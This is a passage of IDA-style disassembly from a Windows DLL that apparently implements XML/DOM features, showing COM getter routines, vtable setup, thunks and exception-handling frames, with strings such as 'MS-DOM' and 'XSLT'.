		cmp	[ebp+arg_8], ebx
		jz	short loc_69B59FF2
		push	offset a0_5	; "0.5"


loc_69B59FE4:				; CODE XREF: sub_69B59F43+49j
					; sub_69B59F43+77j
		push	[ebp+arg_8]
		call	sub_69B84A8E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_69B59FF6


loc_69B59FF2:				; CODE XREF: sub_69B59F43+42j
					; sub_69B59F43+5Dj ...
		or	word ptr [edi],	0FFFFh


loc_69B59FF6:				; CODE XREF: sub_69B59F43+95j
					; sub_69B59F43+ADj
		xor	eax, eax
		jmp	short loc_69B59FFF
; ---------------------------------------------------------------------------


loc_69B59FFA:				; CODE XREF: sub_69B59F43+Dj
					; sub_69B59F43+18j
		mov	eax, 80070057h


loc_69B59FFF:				; CODE XREF: sub_69B59F43+B5j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B59F43	endp

; ---------------------------------------------------------------------------
		align 4
a0_5:					; DATA XREF: sub_69B59F43+9Co
		unicode	0, <0.5>,0
aSchema:				; DATA XREF: sub_69B59F43+88o
		unicode	0, <SCHEMA>,0
		align 10h
aXslt:					; DATA XREF: sub_69B59F43:loc_69B59FBCo
		unicode	0, <XSLT>,0
		align 4
a2_0:					; DATA XREF: sub_69B59F43+72o
		unicode	0, <2.0>,0
aMsDom:					; DATA XREF: sub_69B59F43:loc_69B59F8Eo
		unicode	0, <MS-DOM>,0
		align 4
aDom:					; DATA XREF: sub_69B59F43+30o
		unicode	0, <DOM>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B5A04C	proc near		; CODE XREF: sub_69B5A06D+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99B9C
		push	off_69B99BA0
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B5A04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A06D	proc near		; CODE XREF: sub_69B572C4+51p
		push	esi
		mov	esi, ecx
		call	sub_69B5A04C
		mov	dword ptr [esi], offset	off_69B12834
		mov	dword ptr [esi+4], offset off_69B2908C
		mov	dword ptr [esi+0Ch], offset off_69B29088
		mov	dword ptr [esi+18h], offset off_69B2904C
		mov	eax, esi
		pop	esi
		retn
sub_69B5A06D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5A094(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B5A094	proc near		; DATA XREF: .text:69B29068o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	0		; char
		push	offset dword_69B99B9C ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B5A094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5A0AF	proc near		; DATA XREF: .text:69B2906Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B99B9C
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B5A0AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A0DE	proc near		; CODE XREF: sub_69B5A124+5j
					; DATA XREF: .text:69B12378o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 4
		push	eax
		call	sub_69B2CEFF
		retn	8
sub_69B5A0DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A0F2	proc near		; DATA XREF: .text:off_69B2908Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B3B7BC
sub_69B5A0F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A0FC	proc near		; DATA XREF: .text:69B14B38o
					; .text:69B14C14o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B1F56C
sub_69B5A0FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A106	proc near		; DATA XREF: .text:69B14B3Co
					; .text:69B14C18o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B7793E
sub_69B5A106	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A110	proc near		; DATA XREF: .text:off_69B278F8o
					; .text:off_69B2904Co ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B3B7BC
sub_69B5A110	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A11A	proc near		; DATA XREF: .text:69B14B00o
					; .text:69B14BDCo ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B7793E
sub_69B5A11A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A124	proc near		; DATA XREF: .text:69B14B04o
					; .text:69B14BE0o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	short sub_69B5A0DE
sub_69B5A124	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A12B	proc near		; DATA XREF: .text:69B14B08o
					; .text:69B14BE4o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B3BB2E
sub_69B5A12B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A135	proc near		; DATA XREF: .text:69B14B0Co
					; .text:69B14BE8o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B7794D
sub_69B5A135	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A13F	proc near		; DATA XREF: .text:69B14B10o
					; .text:69B14BECo ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B3C310
sub_69B5A13F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A149	proc near		; DATA XREF: .text:off_69B29088o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B5A168
		test	[esp+4+arg_0], 1
		jz	short loc_69B5A161
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B5A161:				; CODE XREF: sub_69B5A149+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B5A149	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A168	proc near		; CODE XREF: sub_69B5A149+3p
		mov	dword ptr [ecx-0Ch], offset off_69B12834
		mov	dword ptr [ecx-8], offset off_69B2908C
		mov	dword ptr [ecx], offset	off_69B29088
		mov	dword ptr [ecx+0Ch], offset off_69B2904C
		jmp	sub_69B2C65C
sub_69B5A168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5A188	proc near		; DATA XREF: .data:69B99CC0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		sub	eax, 0
		jz	loc_69B5A220
		sub	eax, 0B3h
		jz	short loc_69B5A20E
		dec	eax
		jz	short loc_69B5A1FC
		dec	eax
		jz	short loc_69B5A1EA
		dec	eax
		jz	short loc_69B5A1D8
		dec	eax
		jz	short loc_69B5A1C6
		dec	eax
		jz	short loc_69B5A1B4
		mov	eax, 80020003h
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A1B4:				; CODE XREF: sub_69B5A188+23j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A1C6:				; CODE XREF: sub_69B5A188+20j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A1D8:				; CODE XREF: sub_69B5A188+1Dj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A1EA:				; CODE XREF: sub_69B5A188+1Aj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+28h]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A1FC:				; CODE XREF: sub_69B5A188+17j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A20E:				; CODE XREF: sub_69B5A188+14j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B5A230
; ---------------------------------------------------------------------------


loc_69B5A220:				; CODE XREF: sub_69B5A188+9j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]


loc_69B5A230:				; CODE XREF: sub_69B5A188+2Aj
					; sub_69B5A188+3Cj ...
		pop	ebp
		retn	18h
sub_69B5A188	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A234	proc near		; DATA XREF: .text:69B12870o
		push	24h
		push	offset dword_69B5A2E8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A253
		mov	eax, 80070057h
		jmp	loc_69B5A2DC
; ---------------------------------------------------------------------------


loc_69B5A253:				; CODE XREF: sub_69B5A234+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A269
		mov	eax, 80004005h
		jmp	short loc_69B5A2DC
; ---------------------------------------------------------------------------


loc_69B5A269:				; CODE XREF: sub_69B5A234+2Cj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B5A29B
		mov	[ebp-30h], esi
		mov	ecx, esi
		call	sub_69B2E804
		mov	[edi], eax
		jmp	short loc_69B5A2C5
; ---------------------------------------------------------------------------


loc_69B5A29B:				; CODE XREF: sub_69B5A234+57j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		jmp	short loc_69B5A2C5
; ---------------------------------------------------------------------------


loc_69B5A2A5:				; DATA XREF: .text:69B5A2ECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A2AE:				; DATA XREF: .text:69B5A2F0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A2C5:				; CODE XREF: sub_69B5A234+65j
					; sub_69B5A234+6Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A2DC:				; CODE XREF: sub_69B5A234+1Aj
					; sub_69B5A234+33j
		call	sub_69B1853C
		retn	8
sub_69B5A234	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B5A2E8	dd 0FFFFFFFFh			dd offset loc_69B5A2A5
		dd offset loc_69B5A2AE

; =============== S U B	R O U T	I N E =======================================



sub_69B5A2F4	proc near		; DATA XREF: .text:69B12880o
		push	24h
		push	offset dword_69B5A3A0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A313
		mov	eax, 80070057h
		jmp	loc_69B5A396
; ---------------------------------------------------------------------------


loc_69B5A313:				; CODE XREF: sub_69B5A2F4+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A327
		mov	eax, 80004005h
		jmp	short loc_69B5A396
; ---------------------------------------------------------------------------


loc_69B5A327:				; CODE XREF: sub_69B5A2F4+2Aj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B5A355
		mov	[ebp-30h], esi
		mov	eax, [esi+18h]
		mov	[edi], eax
		jmp	short loc_69B5A37F
; ---------------------------------------------------------------------------


loc_69B5A355:				; CODE XREF: sub_69B5A2F4+55j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		jmp	short loc_69B5A37F
; ---------------------------------------------------------------------------


loc_69B5A35F:				; DATA XREF: .text:69B5A3A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A368:				; DATA XREF: .text:69B5A3A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A37F:				; CODE XREF: sub_69B5A2F4+5Fj
					; sub_69B5A2F4+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A396:				; CODE XREF: sub_69B5A2F4+1Aj
					; sub_69B5A2F4+31j
		call	sub_69B1853C
		retn	8
sub_69B5A2F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B5A3A0	dd 0FFFFFFFFh			dd offset loc_69B5A35F
		dd offset loc_69B5A368

; =============== S U B	R O U T	I N E =======================================



sub_69B5A3AC	proc near		; DATA XREF: .text:69B12884o
		push	24h
		push	offset dword_69B5A458
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A3CB
		mov	eax, 80070057h
		jmp	loc_69B5A44E
; ---------------------------------------------------------------------------


loc_69B5A3CB:				; CODE XREF: sub_69B5A3AC+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A3DF
		mov	eax, 80004005h
		jmp	short loc_69B5A44E
; ---------------------------------------------------------------------------


loc_69B5A3DF:				; CODE XREF: sub_69B5A3AC+2Aj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B5A40D
		mov	[ebp-30h], esi
		mov	eax, [esi+1Ch]
		mov	[edi], eax
		jmp	short loc_69B5A437
; ---------------------------------------------------------------------------


loc_69B5A40D:				; CODE XREF: sub_69B5A3AC+55j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		jmp	short loc_69B5A437
; ---------------------------------------------------------------------------


loc_69B5A417:				; DATA XREF: .text:69B5A45Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A420:				; DATA XREF: .text:69B5A460o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A437:				; CODE XREF: sub_69B5A3AC+5Fj
					; sub_69B5A3AC+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A44E:				; CODE XREF: sub_69B5A3AC+1Aj
					; sub_69B5A3AC+31j
		call	sub_69B1853C
		retn	8
sub_69B5A3AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B5A458	dd 0FFFFFFFFh			dd offset loc_69B5A417
		dd offset loc_69B5A420

; =============== S U B	R O U T	I N E =======================================



sub_69B5A464	proc near		; DATA XREF: .text:69B12888o
		push	24h
		push	offset dword_69B5A510
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A483
		mov	eax, 80070057h
		jmp	loc_69B5A506
; ---------------------------------------------------------------------------


loc_69B5A483:				; CODE XREF: sub_69B5A464+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A497
		mov	eax, 80004005h
		jmp	short loc_69B5A506
; ---------------------------------------------------------------------------


loc_69B5A497:				; CODE XREF: sub_69B5A464+2Aj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B5A4C5
		mov	[ebp-30h], esi
		mov	eax, [esi+20h]
		mov	[edi], eax
		jmp	short loc_69B5A4EF
; ---------------------------------------------------------------------------


loc_69B5A4C5:				; CODE XREF: sub_69B5A464+55j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		jmp	short loc_69B5A4EF
; ---------------------------------------------------------------------------


loc_69B5A4CF:				; DATA XREF: .text:69B5A514o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A4D8:				; DATA XREF: .text:69B5A518o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A4EF:				; CODE XREF: sub_69B5A464+5Fj
					; sub_69B5A464+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A506:				; CODE XREF: sub_69B5A464+1Aj
					; sub_69B5A464+31j
		call	sub_69B1853C
		retn	8
sub_69B5A464	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B5A510	dd 0FFFFFFFFh			dd offset loc_69B5A4CF
		dd offset loc_69B5A4D8

; =============== S U B	R O U T	I N E =======================================



sub_69B5A51C	proc near		; DATA XREF: .text:69B12874o
		push	34h
		push	offset dword_69B5A5F0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A53B
		mov	eax, 80070057h
		jmp	loc_69B5A5E3
; ---------------------------------------------------------------------------


loc_69B5A53B:				; CODE XREF: sub_69B5A51C+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A554
		mov	eax, 80004005h
		jmp	loc_69B5A5E3
; ---------------------------------------------------------------------------


loc_69B5A554:				; CODE XREF: sub_69B5A51C+2Cj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	eax, [esi+1Ch]
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jz	short loc_69B5A5A2
		mov	[ebp-30h], eax
		mov	ecx, [eax+10h]
		mov	[ebp-34h], ecx
		cmp	ecx, ebx
		jz	short loc_69B5A5A2
		mov	[ebp-38h], eax
		mov	eax, [eax+10h]
		mov	[ebp-3Ch], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-40h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B5A5CC
; ---------------------------------------------------------------------------


loc_69B5A5A2:				; CODE XREF: sub_69B5A51C+5Aj
					; sub_69B5A51C+67j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-44h], ebx
		jmp	short loc_69B5A5CC
; ---------------------------------------------------------------------------


loc_69B5A5AC:				; DATA XREF: .text:69B5A5F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A5B5:				; DATA XREF: .text:69B5A5F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A5CC:				; CODE XREF: sub_69B5A51C+84j
					; sub_69B5A51C+8Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A5E3:				; CODE XREF: sub_69B5A51C+1Aj
					; sub_69B5A51C+33j
		call	sub_69B1853C
		retn	8
sub_69B5A51C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B5A5F0	dd 0FFFFFFFFh			dd offset loc_69B5A5AC
		dd offset loc_69B5A5B5

; =============== S U B	R O U T	I N E =======================================



sub_69B5A5FC	proc near		; DATA XREF: .text:69B12878o
		push	28h
		push	offset dword_69B5A6C8
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A61B
		mov	eax, 80070057h
		jmp	loc_69B5A6B9
; ---------------------------------------------------------------------------


loc_69B5A61B:				; CODE XREF: sub_69B5A5FC+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A634
		mov	eax, 80004005h
		jmp	loc_69B5A6B9
; ---------------------------------------------------------------------------


loc_69B5A634:				; CODE XREF: sub_69B5A5FC+2Cj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-2Ch], ecx
		cmp	ecx, ebx
		jz	short loc_69B5A678
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jz	short loc_69B5A678
		mov	ecx, [eax+0Ch]
		mov	[ebp-34h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B5A6A2
; ---------------------------------------------------------------------------


loc_69B5A678:				; CODE XREF: sub_69B5A5FC+5Aj
					; sub_69B5A5FC+66j
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-38h], ebx
		jmp	short loc_69B5A6A2
; ---------------------------------------------------------------------------


loc_69B5A682:				; DATA XREF: .text:69B5A6CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A68B:				; DATA XREF: .text:69B5A6D0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A6A2:				; CODE XREF: sub_69B5A5FC+7Aj
					; sub_69B5A5FC+84j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A6B9:				; CODE XREF: sub_69B5A5FC+1Aj
					; sub_69B5A5FC+33j
		call	sub_69B1853C
		retn	8
sub_69B5A5FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B5A6C8	dd 0FFFFFFFFh			dd offset loc_69B5A682
		dd offset loc_69B5A68B

; =============== S U B	R O U T	I N E =======================================



sub_69B5A6D4	proc near		; DATA XREF: .text:69B1287Co
		push	30h
		push	offset dword_69B5A7A0
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5A6F3
		mov	eax, 80070057h
		jmp	loc_69B5A795
; ---------------------------------------------------------------------------


loc_69B5A6F3:				; CODE XREF: sub_69B5A6D4+13j
		mov	[edi], ebx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B5A70C
		mov	eax, 80004005h
		jmp	loc_69B5A795
; ---------------------------------------------------------------------------


loc_69B5A70C:				; CODE XREF: sub_69B5A6D4+2Cj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [esi+1Ch]
		mov	[ebp-2Ch], esi
		cmp	esi, ebx
		jz	short loc_69B5A754
		mov	[ebp-30h], esi
		mov	eax, [esi+14h]
		mov	[ebp-34h], eax
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B5A754
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B5A77E
; ---------------------------------------------------------------------------


loc_69B5A754:				; CODE XREF: sub_69B5A6D4+5Aj
					; sub_69B5A6D4+6Aj
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-40h], ebx
		jmp	short loc_69B5A77E
; ---------------------------------------------------------------------------


loc_69B5A75E:				; DATA XREF: .text:69B5A7A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5A767:				; DATA XREF: .text:69B5A7A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5A77E:				; CODE XREF: sub_69B5A6D4+7Ej
					; sub_69B5A6D4+88j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5A795:				; CODE XREF: sub_69B5A6D4+1Aj
					; sub_69B5A6D4+33j
		call	sub_69B1853C
		retn	8
sub_69B5A6D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B5A7A0	dd 0FFFFFFFFh			dd offset loc_69B5A75E
		dd offset loc_69B5A767

; =============== S U B	R O U T	I N E =======================================



sub_69B5A7AC	proc near		; CODE XREF: sub_69B5A7CD+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99CA0
		push	off_69B99CA4
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B5A7AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5A7CD	proc near		; CODE XREF: sub_69B57F64+73p
					; sub_69B58E4C+13Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B5A7AC
		push	[esp+4+arg_0]
		lea	ecx, [esi+1Ch]
		mov	dword ptr [esi], offset	off_69B12854
		mov	dword ptr [esi+4], offset off_69B2908C
		mov	dword ptr [esi+0Ch], offset off_69B29124
		mov	dword ptr [esi+18h], offset off_69B290E8
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5A7CD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5A802(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B5A802	proc near		; DATA XREF: .text:69B29104o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	0		; char
		push	offset dword_69B99CA0 ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B5A802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


